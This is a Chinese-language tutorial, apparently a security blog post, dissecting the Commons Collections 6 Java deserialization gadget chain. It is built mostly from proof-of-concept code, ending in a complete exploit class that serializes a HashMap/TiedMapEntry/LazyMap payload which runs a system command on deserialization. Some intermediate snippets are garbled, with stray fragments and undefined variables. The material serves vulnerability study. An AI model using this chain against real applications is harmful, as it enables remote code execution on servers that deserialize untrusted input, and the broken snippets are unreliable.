Commons Collections 6
CC6 链不受 JDK 版本限制,只要使用的 commons-collections 版本 ≤ 3.2.1 ,就存在这条利用链。 触发点仍然是熟悉的 InvokerTransformer.transform,但利用路径与 CC1 有所不同。
CC6 链不受 jdk 版本制约,只要commons collections 小于等于3.2.1,都存在这个漏洞。
环境
1 2 Commons Collections3.2.1 jdkjdk8u71
Maven 依赖示例:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
前置知识 这一条链主要用到了下面几个组件:
1 HashMap/HashSet + TiedMapEntry + LazyMap + Transformer
整体思路是: HashMap 反序列化 → put 触发 hash → TiedMapEntry.hashCode → getValue → LazyMap.get → factory.transform → ChainedTransformer → InvokerTransformer → Runtime.exec
sink(命令执行点) : InvokerTransformer.transform 内部通过反射调用 Runtime.getRuntime().exec(...)。
LazyMap : 负责在 get 时调用 Transformer.transform。
TiedMapEntry : 通过 getValue() 间接调用 LazyMap.get。
HashMap 反序列化 : HashMap.readObject 在反序列化时会调用 put,进而触发 key.hashCode(),只要 key 是 TiedMapEntry,就能把链子走完。
接下来按节点逐步展开。
链子分析 和 CC1 一样,最终的执行点仍是:
1 InvokerTransformer.transform(...)
我们只要想办法让攻击链最后调用 transform,就能执行自定义命令。
LazyMap 先看 LazyMap 的源码(关键部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { ...... protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } ...... public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
LazyMap 实现了 Serializable
get 方法中调用了 factory.transform(key) ,这是我们真正想利用的调用点。
factory 是 Transformer 类型,只要我们把它设置成 ChainedTransformer,就能执行任意调用链。
if (map.containsKey(key) == false) 必须为 true 才会进入 factory.transform(key)。 也就是说:LazyMap 装饰的底层 map 在初始时不能包含该 key 。
即不能和 LazyMap 定义时,传入的 hashmap 的key一样,否则无法进入LazyMap 的if条件
1 protected final Transformer factory;
factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递
利用该类的装饰方法进行类的实例化来达到参数传入的目的
1 2 3 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); }
map 直接使用hashmap即可,因为该类并没有自定义map属性 ,这个map是继承来的,最后都是map接口。
poc验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.ysoserial.CC6;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);{String.class},new Object []{"open -a Calculator" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); lazyMap.get(r); } }
这一步只是证明:只要能调用 LazyMap.get(key) ,就能走到 ChainedTransformer ,最后到命令执行 。
TiedMapEntry 接下来要解决的问题是:谁来调用 LazyMap.get?
太多了,2000+也不知道这条链子的作者是怎么找到了,真厉害
org.apache.commons.collections.keyvalue.TiedMapEntry 类中的getValue()方法 在调用这个get()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } ...... public Object getValue () { return map.get(key); } }
TiedMapEntry 里保存了一个 map 引用和一个 key。
getValue() 调用 map.get(key),如果 map 是我们前面构造的 LazyMap,那就会触发 LazyMap.get 的逻辑。
同时,hashCode() 会调用 getValue(),这就给了我们一个可以通过 “hash 相关操作” 间接触发链条的机会 。
poc验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,r); tiedMapEntry.getValue(); }
往上去找谁调用了getValue()
这个方法也非常常见,一般而言,会优先找同一类下是否存在调用情况。
同一类下的hashCode()调用了getValue()
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
poc验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,r); tiedMapEntry.hashCode(); }
将tiedMapEntry.getValue();改为tiedMapEntry.hashCode();即可
HashMap HashMap 就是一个经典入口。
1 HashMap.put → hash → key.hashCode
HashMap.put() 源码中:
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
hash(key) 会调用 key.hashCode():
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
所以只要 key 是一个 TiedMapEntry,调用 put(tiedMapEntry, "value") 就会触发 tiedMapEntry.hashCode(),最终执行命令。
更关键的是:HashMap.readObject 在反序列化时会调用 put 来恢复键值对 ,因此反序列化过程中也会自动触发 hashCode(),从而完成整个链条。
poc验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"11" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry,"value" ); serialize(expMap); deserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object deserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); }
问题 调试坑:IDEA 自动调用 toString() 导致提前触发 事实上,在序列化之前就会弹计算器。
调试发现具体是在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,r);,执行完就弹计算器了
原因分析
在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用toString()方法,所以在创建TiedMapEntry的时候,就自动调用了getValue()最终将链子走完,然后弹出计算器。
解决办法
在 IDEA 中关闭 “自动计算 toString()” 等相关调试功能,避免在调试阶段就触发 payload。
put()方法在 put 的过程中,HashMap 可能会调用 tiedMapEntry.hashCode(),进而立即触发 LazyMap.get 和 chainedTransformer,导致在序列化前就执行了命令
解决思路类似 URLDNS 链中“先用无害对象占位,再反射替换”的做法
构造 LazyMap 时传入一个安全的 Transformer ,例如 new ConstantTransformer(1),此时 get 虽然会调用 transform,但不会执行危险操作。
在所有 put / 构造等操作后,再通过 反射修改 LazyMap 的 factory 字段 为真实的 ChainedTransformer。
改成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.ysoserial.CC6;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "11" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "111" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
没弹计算器,调试一下
跟进,此处,if语句里的表达式为false,所以没有调用factory.transform(key)方法
在 put 的过程中,TiedMapEntry.hashCode() → getValue() → lazyMap.get("11");
此时 factory 还是无害的 ConstantTransformer(1),但是 LazyMap 的特性是:如果 key 不存在就自动创建 ;
因此,在 put 阶段,"11" 这个 key 会被 LazyMap 写入到底层 hashMap 中;
反序列化的时候,再次进入 LazyMap.get("11") 时,map.containsKey("11") 会返回 true,从而 不会再次调用 factory.transform(key) ,导致链子失效。
所以我们需要在反射替换 factory 之前:
完整cc6链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.ysoserial.CC6;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a Calculator" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "11" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "11" ); lazyMap.remove("11" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
1 2 3 4 5 6 7 8 9 10 readObject -> HashMap.readObject -> HashMap.put -> HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get -> Transformer.transform (ChainedTransformer) -> InvokerTransformer -> Runtime.getRuntime().exec ()